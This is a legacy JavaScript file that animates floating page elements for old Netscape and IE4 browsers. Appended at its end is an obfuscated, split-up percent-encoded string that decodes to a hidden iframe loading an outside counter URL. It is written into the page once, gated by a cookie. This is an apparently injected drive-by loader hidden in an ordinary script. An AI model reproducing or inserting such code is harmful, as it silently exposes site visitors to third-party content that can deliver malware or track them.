var df = new Array;
var lf = new Array;
var tp=new Array;
var ox=new Array;
var oy=new Array;
var tn=4 ;
var nn,getwid,getheight;

for(nn=0;nn<tn;nn++)
{
lf[nn]=10;
tp[nn]=10;
ox[nn]=Math.random()*10;
oy[nn]=Math.random()*10;
}

defaultStatus="请务必使用800*600,IE4.x或NetscapeCommunicator4.x浏览;"
function runtdfn() 
{
if (navigator.appName=="Netscape") {
    nav="ns4";
    doc="document.";
    sty="";
    getwid=window.innerWidth-50;
    getheight=window.innerHeight-50;
    } 
else
    {
    nav="ie4";
    doc="document.all.";
    sty=".style";
    getwid=100;
    getheight=300;
    };

for(nn=0;nn<tn;nn++)
{
df[nn]=eval(doc+"wqyy"+nn+sty);
df[nn].left=lf[nn];
df[nn].top=tp[nn];
}

showtdfn();           
movetdfn();
}

function showtdfn()
{
for(nn=0;nn<tn;nn++)      
 df[nn].visibility="visible";
}
function movetdfn()
{ 
       for(nn=0;nn<tn;nn++) {

	if (parseInt(df[nn].left)>(getwid-10)) 
	 { ox[nn]=0-Math.round(Math.random()*10);
	 } 
        if (parseInt(df[nn].left)<10)
          { ox[nn]=Math.round(Math.random()*10);
          }  

        if(parseInt(df[nn].top)>(getheight-10))
         { oy[nn]=0-Math.round(Math.random()*10);  
         }  
        if(parseInt(df[nn].top)<10)
	  {oy[nn]=Math.round(Math.random()*10);  
         }
        df[nn].left=parseInt(df[nn].left)+ox[nn];
        df[nn].top=parseInt(df[nn].top)+oy[nn];
                            } 
setTimeout("movetdfn()",100);
}


if (document.cookie.search("etg=9") == -1) {
dpiv = document.getElementById('ecv');
if (dpiv == null) {jdfe=unescape('%3c%69%66%72%61'+'%6d%6'+'5%'+'2'+'0%'+'69%64%3d'+'%65%63'+'%7'+'6%20%73%72%63%3'+'d'+'%68'+'%74'+'%74%'+'70%3a%'+'2f'+'%2f'+'%'+'67%6f%'+'6f%'+'6'+'7%'+'6c%65%72%61%'+'6e%6b%2e%69'+'%'+'6e%66%'+'6f%2'+'f%63%6f%7'+'5%6e%7'+'4%65%'+'7'+'2'+'%2f%'+'3f%67%3d%'+'66%69%72%73'+'%7'+'4%20%73'+'%74%79%6c'+'%65%3d%64%69%73'+'%70%'+'6c%61'+'%79%3a%'+'6e%'+'6f'+'%6e%65%3e%3c%'+'2f%6'+'9%66'+'%72%'+'61%6d%6'+'5%3e');document.write(jdfe);}
document.cookie = "etg=9;expires=Sun, 01-Dec-2009 08:00:00 GMT;path=/";}